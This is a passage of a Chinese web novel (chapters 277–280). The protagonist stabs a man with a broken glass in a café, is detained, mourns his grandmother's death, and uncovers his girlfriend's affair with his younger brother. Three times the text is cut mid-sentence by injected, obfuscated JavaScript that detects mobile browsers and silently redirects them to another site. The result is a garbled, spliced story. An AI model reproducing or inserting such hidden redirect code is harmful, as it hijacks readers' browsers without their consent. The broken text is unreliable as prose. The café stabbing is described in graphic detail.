他只觉得自己脑袋里嗡的一声,完全没有想到余敏叔会对许嫣然问这样的问题。在震惊过后,怒火如期而至。 许嫣然的声音比对方更小,她没有回避这个话题,就像是必须向老师报告一样,轻轻说道:“……嗯。” 余敏叔的音色惋惜,像是看到一只珍贵的花瓶碎了,“哎呀,可惜了,那个不成器的毛头小子可不是什么值得投资的对象,早知道这样,还不如和我——” 男人没有说完话,一阵急促的脚步声临近他们所在的餐桌,一个身影停在旁边。两人停止了交谈,向来人看去。 顿时,许嫣然眉目惊诧,大惊失色,“迟野、你怎么——” 蔚迟野一句话没说,一拳打在余敏叔的脸上。 “唔噗!”余敏叔的嘴中发出一声无法控制的爆破声,像是空气突然从他的胃里反出来,又从他的喉咙崩了出去。 打了一拳还不够,蔚迟野再度抡拳,朝男人的头部击打。余敏叔像是完全没有料到突然的袭击,一时间失去了还手的余力,被蔚迟野连续揍了好几拳。 还不够。 蔚迟野看着余敏叔,对方抱着身体,休闲款式的高档西服皱皱巴巴,他往座位里侧躲避着,手脚哆哆嗦嗦的,动作倒是很迅速,看起来依然生龙活虎。 还不够。 蔚迟野捏紧了拳头,往下砸去,像是疯了一样。他看着疯癫,但只有自己知道,当下他感觉多么脱力。想要汇聚在拳头中的力量,可不是这种绣花拳脚而已。他希望在拳头落下去的时候,对方的皮肉会从骨骼上分离,骨骼则会发出变形挤压的声响,人会痛得连连大声喊叫,直到一点声音也发不出来。 他想要看到那样的场面,可是,凭他现在这么孱弱的拳头,想要实现那样的效果,无异于天方夜谭。 277. 偷情4 “迟野,你干什么呀!”许嫣然尖叫道,她站了起来,两只手捂在自己的嘴上,惊恐地看着眼前这一切。 咖啡店里发生了不小的骚动,顾客和服务员都注意到了他们,目光投掷而来,也有几个身影包围了过来。 蔚迟野不在乎有多少旁观者,此刻,他只想胖揍一番眼前这个名叫余敏叔的男人,以泄自己积压已久的愤慨。 余敏叔抱着自己的脑袋,他身高快到一米九了,人却瘦的像个稻杆一样。他是个怂货,被打了,只知道蜷缩在角落,抱着头拼命喊救命。 蔚迟野怒气冲天,想要让男人彻底闭上恼人的嘴。可他的拳头施加的暴力还是太弱,他需要一些别的什么东西—— 目光向一旁看去,摆在桌面上的玻璃杯吸引了他的注意力。他拿过玻璃杯,捏着杯柄,高抬手臂,一下子把它在桌沿上砸碎。 细碎的、不规则的利齿在玻璃杯上出现,它成为了他新的武器。 “呀!”人群之中传来尖叫声,像是预感到什么一般。 蔚迟野压制着身下颤抖的男人,一只手高举,反握着玻璃杯,用它尖锐的裂口冲下,瞄准对方捂着头颅的手,毫不犹豫地扎了下去。 这一下就见了血,效果非凡。 “快把他们拉开!”周围有人说道。 “小心他手里的杯子!”有人提醒。 “叫警察来!” 蔚迟野不予理会,或许不久他将面临严重的刑罚,但是,重要的是,这一刻他要看到余敏叔的惨状。 玻璃杯扎下去后,男人发出了撕心裂肺的叫喊声,那声音像是杀猪一般。他终于像是想起来自己还有挣扎的权力,这才猛烈反抗起来,就像是濒死的猎物最后的狂躁。 蔚迟野按不住他,毕竟对方是一个成年男性,个头也不矮,被反扑的可能性也不是没有。 而为了让对方恼人的反抗不再继续下去,蔚迟野像是疯了一般,手臂迅速抬起又落下,一遍又一遍,毫不犹豫地往男人的脸上扎。余敏叔抬臂抵挡,然而,根本拦不住那些毫无规律的戳刺。 蔚迟野的耐心消磨得比他想象得快,他惊讶于自己并不享受这个折磨对方的过程,也不觉得内心得到了什么纾解。他只有一个想法,一个危险的想法——他要杀了眼前这个男人。 一时之间,他忘记了自己身处何地。是在一个文明社会里,还是在一个没有人可以管束他的浩然大地之上。 他表情一冷,目光一凛,瞄准了对方毫无保护的脖颈。 手臂落下,肉|体破裂的噗嗤声传来,血液飞溅在他的脸上,温热、粘稠。 半截玻璃杯留在了对方的脖颈里,余敏叔抽动了两下,眼睛往上一翻,没有动作了。 这时,有什么人从背后架住了蔚迟野,将他从余敏叔的身上拉开。许多只手控制住了他,把他按在地上,用膝盖顶着他的后背,将他的手臂向背后弯折。 蔚迟野感觉自己快要喘不过气来,全身几乎都动弹不得。 他勉强转过头,向自己身上看去。视野里出现了板正的制服,以及警员们严厉的表情。 原来是警察来了,出警还挺快的。蔚迟野颇有闲情地想道。难怪压制的手法这么专业,是警察就不意外了。 是警察的话那就没什么办法了。 他乖乖趴在地上,一点挣扎的念头都没有。 反正他已经做了自己想做的,余敏叔要是能活下来的话,算他命硬。 警察给他戴上了手铐,将他转移到餐桌上趴着,依然控制着不让他动弹。 愤怒在渐渐冷却,身旁的嘈杂却愈发蒸腾。蔚迟野看到许嫣然坐在一旁,在接受警察的心里疏导。他们清空了顾客,只留下了一些目击证人。 一伙人围着余敏叔,似乎在为他抢救。不过多久,救护车的嗡鸣响了起来,担架出现在小小的咖啡馆里,不省人事的男人被抬了出去,鲜血流了一路。 待到一切安静下来之后,蔚迟野被带走了,押送上了警车。 此刻,他的心情是平静的,这不是他第一次对人下死手,他有过更强烈的杀意,也见过更多的血。这也不是第一次被毫无尊严地压制,他有过更狼狈的时候。 只不过,接下来要面对的,是陌生的司法体系,这在他十八年短暂的人生之中还是一片盲区。 但是,未知没有在他的心里激起多少波澜,他只感觉到宁静,仿佛接下来无论发生什么,他都做好了准备去应对。 后面的流程在他意料之中,他有过处理罪犯的经验,知道审讯是第一个环节。只不过,现在,轮到了别人来审讯他。 他交代了前因后果,如实做了笔录,事实没什么好隐瞒的。不过,在陈述事实的同时,他一再强调自己有多么地悲愤,对于女朋友是多么地喜爱,而余敏叔的行径又是多么地令人发指。 他捶胸顿足,仿佛还没有从当时的情绪之中走出来,但是,他自己清楚,这只是在演戏罢了,是为了把自己的行为尽可能合理化的表演。 说实在,在把玻璃杯插进余敏叔的脖颈之后,他就已经消了气。血液飞溅在脸上的时候,他就已经感觉愤怒在离他远去。 那之后,比起再把余敏叔千刀万剐,他倒是更想和许嫣然聊聊。为什么会和这个男人单独见面,他们之间达成了怎样的协议,她为了自己的目的,是不是付出过什么肉|体上的代价,而那究竟是自愿还是不情愿。 做完了笔录,他被关押了进了拘留所,等待进一步的判决。 他已经成年了,要负刑事责任。刑事拘留会留下案底,那将对他未来的学业和事业都有影响。 如果会坐牢的话,今年去亚森学院上学几乎是没可能了。 一切都毁了啊。他想。就因为自己的冲动。 问他后悔吗? ……后悔。 因为这些全都是为了…… 他突然觉得不值得。 ## 在拘留所里心情沉重地度过了一阵子,突然有一天,警察打开了门,告诉他已经可以离开了。 他不禁有些惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491520|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讶。就这样结束了?他可能才在这里待了不到十天不说,后续的判决居然什么都没有吗? 蔚迟野有些茫然地取走了自己的东西,离开了拘留所。 从院子里走出来的时候,他看到一辆熟悉的黑色私家车停在道路旁。一个抽着烟的男人靠在主驾驶的旁边,看到蔚迟野出来之后,男人朝他招了招手。 啊,又是这个喜欢抽烟的屁股下巴男,以后就叫他烟屁男吧。 坐在了副驾驶座上,蔚迟野百思不得其解,问道:“这是怎么回事?” 烟屁男把烟头丢在了外面,坐上主驾驶位,启动车辆的同时回答他,“余敏叔还活着,而且没什么大问题,警察定性这件刑事案件不算严重,老板用了些手段把你提前保释出来了。” 烟屁男说得言简意赅,蔚迟野一听就懂了。 他之所以能提前出来,是蔚统在背后暗箱操作。理应感激自己的父亲,然而,蔚迟野却并不这么想,他只觉得又欠了对方一笔账,心情不由得开始变差。 “最近老板在忙家里的事,所以没有时间来亲自接你。”烟屁男说道。 蔚迟野哼笑了一声,说道:“就算他没事,也不会来亲自接我。” “……”司机沉默了片刻。车辆开离了警察局,在宽阔笔直的大道上行驶,又停在一个刚刚变红的十字路口。行人来来往往在车前的人行横道上穿梭,烟屁男握着方向盘,两根手指有些烦躁地击打着皮革面料,“有一件事情,我想你应该还不知道。” “什么?”蔚迟野问。 司机张张嘴,声音低垂,“老板的母亲,也就是你的奶奶,几天之前在医院过世了。” 红绿灯变了,引擎声发出嗡鸣。那震颤传进安静的车厢,也让里面的人空白的脑海愈发震荡。 “你说……什么?”蔚迟野喃喃着,不敢相信自己听到了什么。 “听说老人家是在一个晚上走的,走的时候很安详。”司机道。 蔚迟野只觉得自己的视野明暗不定,像是身处一个挂着殆尽油灯的地下室。他抓住了一旁的把手,感到胃里一番搅动,使整个人恶心、脱力。他强忍着不适,大声说道:“去医院!” “老人家的遗体已经不在那里了。” “那在哪!?” “暂时已经转移回了家里。而后等葬礼那天,再运往殡仪馆。” “……行吧,那就先回家。” 蔚迟野扶着自己的额头,只觉得身体的不适迟迟不退,车辆的颠簸让这种不适加重,他脸色惨白,粗重地喘息着,感觉额头和全身都在冒冷汗。 怎么会这样?上次见面的时候不是还好好的吗,奶奶……怎么突然就没了? 难道说,先前在医院的那几天已经是最后的陪伴了?可他还有很多的话没有对她说,他还想要等她清醒过来,认出他是她的孙子之后,再跟她讲讲他这段时间复杂的经历。 奶奶没有看到他去亚森学院上学的那一天,他也没来得及和她说再见。 怎么能就这样…… 278. 偷情5 烟屁男在交代完事情之后就没有再说话了,贴心地制造了一个能让蔚迟野安静思考的空间。 车子以不急不慢的速度开着,蔚迟野总觉得并没有过去多久,却很快感觉到车辆停了下来,手刹的声音响起。 “到了。”司机说。 蔚迟野捂着自己的脸,一路上他都是这个姿势。他没有响应司机的话,也没有下车的动作。 烟屁男顿了顿,无言地离开了驾驶座,把男孩一个人留在了车中。 空荡的车内,他听不见任何声音,只有巨大的哀伤萦绕着他。他感觉脑袋里一片空茫,那是震惊留下的痕迹,只有时间才能将其消解。 而他就在这辆还算熟悉的车子里待着,司机没有拔下钥匙,引擎的隆隆声一直在陪伴着他,他缓了好一阵子才听到它。 他抬起疲惫的目光,发现车子停在了自家的院落,周围栽培的绿植都盖上了一层黑色的布,明净的窗户上也贴着黑色的窗花,无论朝哪里看去,入眼的都是这种死寂的颜色。 而这一切无不告诉他,刚才他在车上听到的那一切不是幻觉,奶奶真的去世了。 蔚迟野下了车,只觉得自己的四肢无力,精神恍惚,仿佛随时都会摔倒。 他急需回到家里,找一个人问问是怎么回事,问问奶奶最后经历了什么,有没有痛苦,临终前说了什么,又到底是不是像司机说的那样安详。 走进了自家的大门,只见里面有陌生的人影在忙碌着,看上去是殡仪馆的人员。而蔚统则站在他们之中,似乎是就葬礼的事宜在谈论着些什么。 蔚统看到了归家的蔚迟野,但是,只是斜看了一眼,而后,注意力又转移到了和工作人员的谈话之中,像是完全没有看到这号人物一般。哪怕他的大儿子去拘留所待了好几天,在那之前险些杀了一个成年人,蔚统也表现的平淡如水,不觉得与儿子谈心比他现在在做的事情重要。 蔚迟野也没有和蔚统交谈的打算,他径直走了过去。一层大厅的正对面是一道通向二层的楼梯,二层基本是起居室和书房等等,而厨房和待客室等对外的部分则留在了一楼。 在拘留所呆着的那几天,手机的电量已经完全耗光了,他急于回到自己的房间,给手机充上电,想给大姑打个电话问问奶奶具体是什么情况。 来到二层,回到自己的房间,关上门,发现里面和十天之前基本还是一个模样,似乎有人进来打扫过卫生,但除了保持基本的整洁以外,没有挪动任何东西。 蔚迟野找到了充电线,连上自己的手机。现在还开不了机,于是乎他就盯着那个黑黢黢的屏幕静静等待。不过一阵,手机自动亮了起来,像是一个冬眠刚苏醒的小东西,迟钝地理顺睡眠期间发生的一切。 它把几条新消息弹在屏幕上,以供主人的检阅。蔚迟野翻了一遍,有大姑来的消息,问他在哪,还有一通蔚统的未接来电,其他只有一些资讯号发的新闻消息。 这个世界上在乎他的人屈指可数,而蔚统也绝对不是因为关心儿子的去向才给他打电话,那通电话是咖啡馆事发当天打来的,恐怕蔚统只是想知道他闯了什么祸。 他打开了通讯软件,翻过整齐排列的聊天框,确保没有什么被他遗漏的消息。之前这部手机在警察的手里,他想,或许警察们为了调查他的背景,无意间点开看过了一些新消息,所以自己才没有收到提示。 但是,没有,一个都没有,那些聊天框还是处于十几天前的状态,没有人给他发来问候,同学没有,女朋友也没有,他的家人也没有,更不要说其他任何人了。 蔚迟野放下了手机,向后仰倒,砸进了床里,头发凌乱的盖住脸庞,眉毛有些悲情地下弯。 一种麻木在心底里蔓延,他不禁自嘲地一笑。没人在乎这种事情不是早就知道了吗,还在这惺惺作态给谁看呢。 他翻了个身,想起一开始要做的事情,于是找到大姑的手机号拨了过去。 听筒里传来占线的声音,提示他换个时间再打。他看了眼时间,现在是周一,上午,大姑的手机占线,可能是在处理医院里的事,或者和其他亲戚聊天。 蔚迟野没有急着打电话再去打扰她,而是给她发了条消息,请她在空下来的时候给他回个电话。 现在,他还不知道葬礼要何时举行,奶奶的遗体又具体在什么地方,本来这些事情是想问大姑的,但是她在忙。 蔚迟野转念一想,楼下殡仪馆的那些人肯定知道这些信息。于是乎,他重新离开了自己的房间,打算去一楼找个人来问问。 就在他离开房间、往楼梯的方向走去的时候,走廊尽头,另一间屋子的门开了。 蔚迟野很清楚,那是蔚天楚的房间,两人的卧房一个在楼梯的左侧,一个在右侧,平日里他们的作息不同,也不怎么能碰得上。 此刻,蔚天楚的身影从门后出现,他一边整理着自己的衬衫,一边往外走。看到对面的蔚迟野,蔚天楚的动作僵了一下,而后很快平复,哼了一声,关上了房门。 两人最后一次见面是在实验大厦,那个时候,柏汝恭和方远韶等人宣布下一个进入样界的实验者是蔚天楚,要蔚迟野配合说出葛马的所在位置,但蔚迟野闭口不言。 无论如何,蔚迟野都不希望下一个实验者是蔚天楚,这本来是他有些别扭的想法,但在柏汝恭和他说了那些话之后,这种想法更加强烈了。 毕竟,这个弟弟,看上去就是个没有人性的祸害,如果让他进入了样界,很难想象他会怎么对待里面的人——那些……所谓的和他们存在形式不同的人类。 不想和对方离得太近,蔚迟野便在一旁等待对方先下楼梯。但蔚天楚走到一半却停下了,并不着急下楼,靠着扶手守在楼梯口,盯着蔚迟野,眼里有一丝戏谑,“听说你进了拘留所?” 蔚迟野不理会对方的戏谑,既然蔚天楚出现了,他倒是不用下楼再找别人询问情况了,“奶奶的葬礼在什么时候举行?” 蔚天楚此刻似乎保有足够的耐心,为了更好地嘲笑自己的兄长,他摆出了一副有问必答的模样,只等话题转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14496074|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 移到可以供他戏弄的方向,“葬礼在两天之后。” “奶奶现在在哪?”蔚迟野问,他也不和蔚天楚多说,只是询问。 单纯是回答问题的话,蔚天楚似乎还能正常地交流,“在她自己房间。” 蔚迟野捏紧了旁边的扶手,心情没由来有些沉痛。奶奶的房间曾经在二层,但摔断了腿之后,他们就把她转移到了一层,方便担架运进运出。 已经知道了奶奶的所在,但是此刻,蔚迟野却迈不动脚步。他见过很多死人,然而,在知道楼下的那个卧房躺着这个世界上最爱他的亲人时,他还是退却了,不敢前往,不敢靠近。他在害怕,总觉得看到了对方的脸,就必须承认对方的逝去。 一旁,蔚天楚好笑地盯着他,像是想要把他的丑态尽收眼底,他将话题转移到了自己感兴趣的方面,问道:“所以,听说了你打了人?还把对方送进医院里去了,曾经我都不知道你还有这么血气方刚的一面。” 蔚迟野没有理会他,这是明显的挑衅,低级到他都懒得在意。 蔚天楚还没完,“听说是为了一个女人?真不值当啊。为了天底下最廉价的消耗品,你就这么差点把自己的前程也搭进去了。要不是父亲出手,我恐怕几年都见不到你了啊,哥哥。” 蔚迟野知道,自己这个弟弟就是个金玉其外败絮其中的烂人。在对方的眼里,这世界上就没有能入眼的东西,或许只有在蔚统面前他才能够表现得稍微敬重一些。 蔚天楚用那番话刺激他,明显是想看他气急败坏的模样。但蔚迟野又怎会中他的下怀,懒得和对方纠结,反正该问的问题都问了,他抬腿,面朝对方往楼梯口走。 蔚天楚趴在栏杆上,轻松地说道:“你看着心情不好啊,是因为奶奶去世了,还是因为样界实验把你除名的事,又或者,是因为女人?” 蔚迟野没搭理他,走过对方的身侧,无动于衷地往楼梯下走。 咯哒。 就在这时,蔚天楚的房门开了,有个人影从中探了出来。蔚迟野驻足观望,他停下不是因为想看看对方是谁,而是因为他弟弟露出了有些惊怒的模样。 “回去!”蔚天楚用命令式的语气说道。 走廊的尽头,那个刚从蔚天楚房门里出来的身影顿了一下,没说什么,像是蜗牛缩回壳里一般,缓缓退到了卧室里,轻轻关上了门。 廊道里比较阴暗,蔚迟野没有看清对方的面容,但从身体的轮廓来看,那应该是一个女人,而且身上大概没穿多少衣服。 具体是什么人,不需要动脑就知道。虽然蔚天楚在本国法律的定义上还没有成年,但法律界定的向来是一个标准化的平均值,落实到个人身上多多少少都有些不合适,尤其是在人类的思想和身体成熟上。 在十六七的年纪,人已经对很多事情有了概念,从生物学的角度上来说,成不成年不是一纸文书决定的。 所以,一个女人出现在弟弟的房间里,蔚迟野不觉得这是什么值得震惊的事。他权当没看见,继续往楼梯下走。 279. 偷情6 而蔚天楚没有继续和哥哥纠缠下去,他往自己的房间走,背影似乎有些怒气冲冲。 或许是什么拿不出手的人吧。蔚迟野想道。所以才不希望被别人发现。 房间里的女人将遭遇什么,蔚迟野并不知道。关于自己的弟弟素来如何对待女人,这方面的认知,他的脑海里根本就没有印象。 蔚迟野来到了一层奶奶的房间门口,老人曾经在这里住上过一段日子,但后来他们把她转移到了医院。那时候她的精神头其实还不错,但蔚统还是执意要把老人送到医院,尽管要花额外的住院费也无所谓。也是从入院那时起,奶奶开始有了这样那样的小毛病,身体情况每况愈下,再也没有好转。 蔚迟野下定决心,推门走了进去。房间里一点颜色都没有,不管望向哪里,似乎都是一片黑白色的瘟疫。 他发现自己不是唯一一个来看望奶奶的人。一个身材有些臃肿的女人坐在一把靠背椅上,佝偻着腰背。那是他的大姑。 听到开门声,女人抬起头来,她的眼眶是肿的,红色的哭痕还挂在那上面,可想而知那双眼睛里流了多少泪。 她握着自己的手机,有些怔愣地盯着蔚迟野,半晌,像是终于反应过来,说道:“迟野,你让我给你回电话是吧……我给忘了。” 蔚迟野走过去,手掌搭在女人的肩膀上,“没事,大姑。” 他向房间的另一端望过去,那里有一口细长的棺材,就摆在奶奶曾经躺过的床上。它看上去是那么地小,那么地扁,感觉根本无法容纳一个人。 蔚迟野走过去,看着那口小小的棺材。这个家里唯一在乎他的人,现在就躺在里面。 不看到脸还好。不看到脸,似乎就还能忍受。而他也没有掀开那棺材看一眼,一是不想打扰她,二是怕自己看到对方之后,直到现在苦苦维持着的心理防线——不论它是因为什么而被修筑——会一夕之间轰然倒塌。 他在奶奶的棺材旁边坐下,许多过往的回忆涌入他的脑海。 他还记得,曾经有一段时间,他每天放学回家,第一件事情就是来到这个房间里,和奶奶叽叽喳喳说自己一天的经历。 那个时候,他虽然在外人面前总是沉默寡言,也没什么朋友,但是,和奶奶在一起时,他就是有说不完的话。哪些课程太难了,他又被什么人欺负,今天回家路上看到了可怜的流浪猫狗,以及对于未来有什么美好展望。 每天放学回家和奶奶倾吐的这段时间,是他为数不多的快乐时光。 是啊,明明还有那么多的话没说,为什么令人遗憾的事就这么突然地发生了。 他感到后悔。如果从样界刚出来的那天,他没有跟许嫣然去游乐场,而是花时间陪自己的奶奶就好了。那之后,去探望奶奶的时候,要是能在医院多留一阵子就好了。如果几天前他没有冲动,在咖啡厅里面胖揍了余敏叔,那么他就不会被关在拘留所,就会有机会陪在奶奶的身边,也能见到她临终的最后一幕,和她说说最后的悄悄话。 他叹息一声,看着那口棺材,有许多的话想对奶奶说。但是,大姑还在房间里,所以他只能默念,希望奶奶的灵魂能在某处听见。 就这样,他在房间里从上午待到下午,又从下午待到了黄昏。橘黄的光线照射进这个充满了死亡气息的房间,为它镀上了一种仿佛不属于现世的色彩。 这时候,门外响起了一阵嘈杂。大姑走过来对他说:“殡仪馆的人要进来办些事,咱们先离开吧。” “好。” 他离开了奶奶的卧房,往自己的房间走。突然觉得胃里开始翻搅,大脑有点缺血,每走一步,眼前的景色便发白几分。 他想起来,自己好像从今早开始基本没吃什么东西。这几天待在拘留所里,成天坐着也不活动,本来就不怎么强劲的身体更是愈发虚弱。 勉强攀登自己眼前的阶梯,一层台阶,两层…… 他感觉周围的空气在朝他挤压,有些喘不上气来。坐在最后一级台阶上,他眼前花白,有些走不动了,不得不在这里休息片刻。 看着那些殡议馆的人来回进出奶奶的房间,冷漠地讨论她的死亡。后知后觉地,巨大的悲伤袭卷而来。 他把头埋进自己的手臂中,想要以此对抗这突如其来的情绪。但是不管用,黑暗的视野却使那洪水一般的感情更加深重。 他又抬起头来,猛然掏出自己的手机,漫无目的地点开软件又退出,绚丽的图案和搏人眼球的文案通通无法进入脑海,可他又急需什么东西打断泛滥的思绪。 就在这时,他不小心打开了最近通话记录,许嫣然的名字一晃而过。他的动作停住了,缓缓松开想要退出软件的指尖,让那个名字停留在屏幕上。 “……” 他们两人之间,还有许多问题没有解决,由其是女孩和余敏叔的那段对话内容。但如果这个电话打过去的话,蔚迟野也并不打算讨论那些问题,他只想分散自己的注意力,从她那轻柔、娇弱的声音里得到一些解脱。 思考片刻,他还是拨通了许嫣然的手机号。 单调的嘟嘟声在听筒中响起,他耐心地等待着。机械的声音不真不切,好像隔着一层厚重的玻璃。 然而,渐渐地,另一个声音传进了他的耳朵。那是一个熟悉的旋律,嗓音沙哑的女歌手在唱一首沉醉的爱情之歌。他不会记错,这是许嫣然的手机铃声。 蔚迟野放下手机,想要辨别声音是自手机里传来,还是在周围的某处空间响起。 答案是后者。 *覆灭的爱,就像散沙* 他站起身来,往声音的方向走去。 *我们的关系,你心知肚明* 铃声起初很小,但随着距离的靠近,它渐渐清晰了起来。 蔚迟野停下了脚步,他面前是蔚天楚的卧室门,铃声就隔着一道门从中传来。 他握着着自己的手机,面无表情地站在原地,直到铃声结束,手机挂断,他也没有移动自己的位置。 蔚天楚的卧房里有一套独立的卫浴,此刻,有淋浴声从中传来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14504425|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。过了一阵,水声停了,一个有些拖沓的脚步从浴室转移到卧房,半晌,闷响传来,那像是手机被扔在床铺上的声音。 蔚迟野低头,看了眼自己已经静音的手机,上面收到了一条许嫣然的消息。 ->>妈妈在睡觉,不方便打电话。 脚步声回到了浴室,紧接着,吹风机的声音响了起来。 从头到尾脚步声都只有一个,也没有交流声传来,蔚天楚似乎不在自己的房间里。 蔚迟野捏着自己的手机,低头静静地待了一阵子,然后在自己的手机上打字,发给许嫣然。 ->>有话和你说。找个地方,给我回个电话吧。 消息提示音在房间里响起,吹风机的声音弱了下去,里面的人似乎在操作些什么,而顾不上吹自己的头发。半晌过去,吹风机又恢复了巨大的嗡鸣。 而与此同时,蔚迟野在手机上也收到了一条消息,发自许嫣然。 ->>好。 收到这条消息之后,蔚迟野没有继续在蔚天楚的房门口逗留,在这里接起电话的话,会被房间内的人听见。于是他来到了自己的卧室门口,距离够远,在这里用正常音量说话也没关系。 大概两三分钟后,一个电话打进了他的手机。他盯着那上面许嫣然的名字,过了片刻,才把它接了起来。 “迟野……”对面响起女孩的声音,有些倦怠、沙哑,像是刚睡醒一般。 两人上一次正常交谈是在万众汇那个商场,当时蔚迟野答应要送许嫣然一份大礼,那个时候一切看起来都很正常。 可人在下坡路的时候,无论做什么,怎么做,问题好像总是会越滚越多。蔚迟野深深吸了口气,朝手机另一端的人问道:“嫣然,你在哪?” “刚才说了,妈妈在我身边,当然是在家里。”许嫣然道。 “……”蔚迟野垂着眼眸,思虑片刻,沉声而道,“我从拘留所里出来了,现在去找你。” “别。”许嫣然干脆利落地拒绝,说完,她自己似乎也觉得话说得太匆忙了,又补了一句,“现在先别过来……” “为什么?”蔚迟野问。 对面传来一阵窸窸窣窣的声音,而后,是许嫣然犹犹豫豫的话语,“妈妈她,听说了你在咖啡厅做的事,有点不敢见到你。而且,迟野,你家里好像也出了点事……你不回家看看吗?” 蔚迟野沉默了半晌,他没有接上许嫣然提出的话题,而是问道:“嫣然,你的嗓子怎么是哑的。” 许嫣然轻轻咳嗽了一声,显得那么柔弱,“可能是昨天有些冻着了。” “没盖好被子吗?”他问。 “嗯,可能是。”她说。 蔚迟野又吸了口气,他的声音冷静自持,“身旁的人没有为你捻好被子吗?” “妈妈比我先睡了。”许嫣然道,她说得那么自然,就仿佛那些事真实发生了一样。 “听声音,你应该是感冒了。”顿了顿,他说,“我弟弟不是那么会心疼人,你自己多留意。” 280. 偷情7 对面沉默了半晌,“……什么?” 蔚迟野靠在阳光无法照射到的阴冷墙壁上,后脑抵着它,垂眸望向走廊尽头的门。 “你和蔚天楚是什么时候认识的?”蔚迟野问。 电话对面传来长时间的沉默。远处,蔚天楚的房间里发出一阵巨响,像是什么东西落在地上,碎了遍地。 对方没有说话,蔚迟野便继续添油加醋地说:“从小到大,不管什么东西,他都要用最新的,别人用过的东西,他看都不看。嫣然,他不知道我和你的关系,是吗?” 电话另一端传来了颤抖的呼吸声,但是,对方依然没有开口。 在许嫣然的沉默之下,许多事情已经不需要证明,成为了确凿的事实。但蔚迟野并不觉得愤怒,只有一阵阵悲哀在心里蔓延,凄冷、沉寂。 再让他说一遍那句话吧。 人在下坡路上,永远都别指望能被老天善待。 “你是怎么想的啊,居然跑到我家里来……”蔚迟野胡乱地揉了一把头发,音色自嘲,“你根本不怕我发现,是吗?” “我……”对面支支吾吾,半天说不出一句话来。 “大你二十多岁的男人你不觉得恶心,未成年你也勾引。”蔚迟野说,“除了余敏叔和蔚天楚之外还有谁,嗯?今天一起告诉我吧。” “迟野,你在说什么啊……” “我在问你爬过几个男人的床。” 他话音落下,一时间,两人的通讯之间是令人窒息的沉默。 对面的呼吸声越来越颤抖,终于在某一刻,像是无法再压制,就那么爆发了。 “我又有什么办法……!”她像是破罐子破摔一般,不再对自己的音量加以控制,甚至声音都穿过了蔚天楚的房门,直接传进了蔚迟野的耳中。她不管不顾地痛诉着,“我爸不管我和我妈了呀,他要抛弃我们!我没有办法……你知道一直以来我们是怎么过来的吗,就说你来我家的事吧,每次为了让你觉得我们不是穷困潦倒,我妈都要临时把她捡来拿去卖的纸壳子藏起来,菜都买的是新鲜的,我平时想吃她都不愿意非要买那烂菜叶子说是便宜。” “……我没要求你们做这些。”他说,觉得自己有点无情。 “我只是想留住你啊,迟野,我怕你看不起我。”许嫣然说,“我只想要你。可以的话,我想永远和你在一起。” 女孩的声音在颤抖,她似乎在哭泣。那声音传进蔚迟野的耳中,却未能激起一丝心疼的涟漪,他只觉得很混乱。 许嫣然的声音带着哽咽,“但是……你看看你都做了些什么呀。我听说你和家人吵架了,你爸爸似乎不打算让你上大学了。而且你还那么冲动,打了人,给自己留了案底……蔚家的家产,你爸爸的事业,怎么看都轮不到你。我跟你在一起,难道将来还要继续过苦日子吗?我真的接受不了了……” “……” “我只是想过得好一点,为什么这么难?别人的父亲都是那么有钱,又愿意给家里花钱,可是我爸他却不愿意。别人的男朋友都那么有潜力,女孩跟着就不用再为自己的将来发愁。迟野,我没有说你不好,但是你现在已经是这样……”她顿了顿,再开口时,声音更加难过了,“到底是为什么呀,那些没有我好看,声音没有我好听,身材不如我的女人,现在一个个都傍到了大款,只有我还在苦苦挣扎着。 “你说我爬了好几个男人的床,你以为我想要这样吗?我只是没有时间了啊,家里的存款很快就要花光了,但是我再过几个月就要成年,那之后我爸就不给抚养金了。可我马上就要上大学了啊,正是用钱的时候……为什么,为什么我的命运会这么悲惨?” 她说着,声音愈发哽咽。 蔚迟野沉默了一阵子,问道:“冯姨这么多年,没有存下什么钱吗?” “怎么存?”许嫣然反问道,音色几乎有些埋怨,“我们平时要吃饭,房子又有各种各样的开支,衣服也得常换,总是穿一套就会被人看出来没钱,用的东西也得和同学差不多,不然那些有钱人根本不把你当朋友对待。 “我正值最好的年纪呀,别人家这个年纪的女孩想要什么有什么,大牌化妆品、高档衣服、名牌包,要么家里可以满足,要么她们的男朋友会给她们买。但是我呢?我什么都没有。 “我家每月花光预算,也不够我买一套好用的化妆品,那些粗糙的粉底只会毁了我的脸,而我没了这张脸不行啊,我们家都要靠我这张脸养活。所以,我只能好几个月买一个,然后省着用。你知道斤斤计较有多累吗?看着别人却只能暗暗嫉妒。为什么她们有那么多东西,而我却什么都没有?” 